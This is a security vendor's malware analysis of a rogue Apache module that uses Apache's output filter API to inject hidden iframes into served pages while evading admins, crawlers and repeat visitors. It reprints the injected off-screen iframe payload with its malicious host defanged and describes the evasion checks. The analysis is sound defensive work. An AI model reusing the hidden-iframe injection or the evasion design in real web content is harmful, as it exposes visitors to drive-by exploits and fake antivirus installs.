Endpoint Protection

We recently analyzed the source code of a malicious Apache Web server module that was using Apache filter functionality to infect HTML pages. This is a more active, complex, and unusual attack than simply infecting static Web pages on a Web server. The attack was unusual in that the Web server itself was the infection target. When a Web server is infected like this, every user that requests any Web page from that Web server is a potential victim. This is opposed to cases where static Web pages are infected with malicious code—only those specific pages put a user at risk of infection.

Symantec has a number of detections for HTML pages that have been modified to include links to malicious websites. Trojan.Maliframe!html, Trojan.Webkit!html, and Trojan.Malscript!html are three such examples of detections for clean Web pages that have been modified to include HTML or JavaScript code used to redirect users to malicious websites. A number of threats contain functionality to infect HTML pages to further their propagation, including W32.Ramnit, W32.Fujacks.CE, and W32.Virut.CF, among others. This type of infection typically targets Web pages that are already present on a compromised Web server.

Apache is currently one of the most popular Web servers in use today and can be deployed on Windows and Unix-based operating systems. Apache’s core functionality can be extended through the use of its APIs. Two powerful features of Apache’s API libraries that can be used to add functionality to the Web server are the Apache module APIs and the Apache Filtering framework. These programming interfaces and frameworks allow independent developers to add new functionality to the Apache Web server without modifying or recompiling the code base of the Web server. Apache’s filter API also allows for the extension of functionality by allowing programmers to inspect and alter data that is sent to and from the Web server.  A hosting company that includes advertisements in its client’s Web pages can make use of this type of output filter.  A client creates a Web page on the Web server, and when that page is requested the output filter automatically adds an advertisement to the end of the page. The Web server is inspecting and modifying the outgoing data on-the-fly to add advertisements to its client’s Web pages, generating revenue to support its services.

We have discovered a malicious module that performs identical steps in order to include links to malicious websites. All of the actions performed by the rogue module are done using legitimate code provided by the Apache API, specifically for this type of on-the-fly content generation. This is not an exploit or a hack of Apache’s code base; the module uses Apache’s inherent functionality to infect users and attempts to redirect them to a malicious Web page.

We decided to deploy the infected module on a Linux host running Apache to capture a full output of the malware’s activity. As luck would have it, the authors of the original malware very kindly left a debug output option in their source code. This option, when activated, logged all of the module’s activity to /var/tmp/lol. In order to capture a full run of the malware we created two dummy Web pages that were served from the localhost IP (127.0.0.1) named index.html and second.html. The files contained links to each other to ease navigation back and forth between the files.

We determined from our analysis that the infection module does not infect pages blindly and includes a number of checks for User-Agents, IPs, and administrator processes, that it is not interested in infecting. During a typical execution of the module, the following steps occur:

1. A user connects to the compromised Web server running the rogue module and requests a Web page.
2. The rogue module checks the type of content requested by the user.
3. Once an HTML Web page has been requested, the rogue module begins its infection process.
4. The rogue module now performs a number of anti-detection checks, including:
   • Checks for the presence of an admin user or process
   • Checks for a number of blacklisted browser user-agents
   • Checks for bad IP ranges (known search engine IP ranges, this prevents the rogue module serving infected pages to search engines, avoiding potential page blocking).
   • Checks for banned IPs.
5. Once the anti-detection checks have passed successfully the rogue module creates a new session for the target browser, but does not infect it right away.
6. On a subsequent request for a Web page the infection executes.
7. The rogue module will then query an external Command and Control server for a new iframe tag.
8. Once an active iframe tag has been requested, it is inserted into the requested Web page and served to the user.
9. The user’s IP is then added to a temporary ban list to prevent multiple infections and further hamper detection.

 The injected iframe tag has the following format:

<style>
.nhie96r8 {
position:absolute;
left:-1140px;
top:-1003px
}
</style>

<div class="nhie96r8">
<iframe src=
" [http://]crocabhysanr4.cz.cc/myi986px/count[REMOVED]">
</iframe>
</div> 

In our testing on computers not running antivirus software, we found the malicious iframe tag’s goal was to exploit the user’s browser and install fake antivirus software.

This is a complex and potentially difficult threat to detect accurately. As the rogue module contains a number of evasion techniques, it is possible that a system administrator would not notice the infection for some time. A further difficulty in detecting the threat is the on-the-fly nature of the infection. Since no Web pages are infected on the disk, no detections on stored HTML pages are possible. The threat also blacklists a large number of search engine related IP addresses to prevent serving infected pages to search engine crawlers and exposing the infection to automated detection processes.

Due to the nature of the compile and installation process for a module of this type, the spread of the infection is low risk. The rogue module is not a major concern from a security standpoint as a system administrator level of access is required to install the module. If an attacker has gained the level of control required to install this module on to your Web server, the chances are good that you have much bigger problems to worry about.

Symantec currently detects the infected Apache module as Trojan.Apmod and the infected HTML pages as Trojan.Malscript!html.

Many thanks to Min Ju (Symantec ) and Chad Gough (4Discovery) for bringing this to our attention.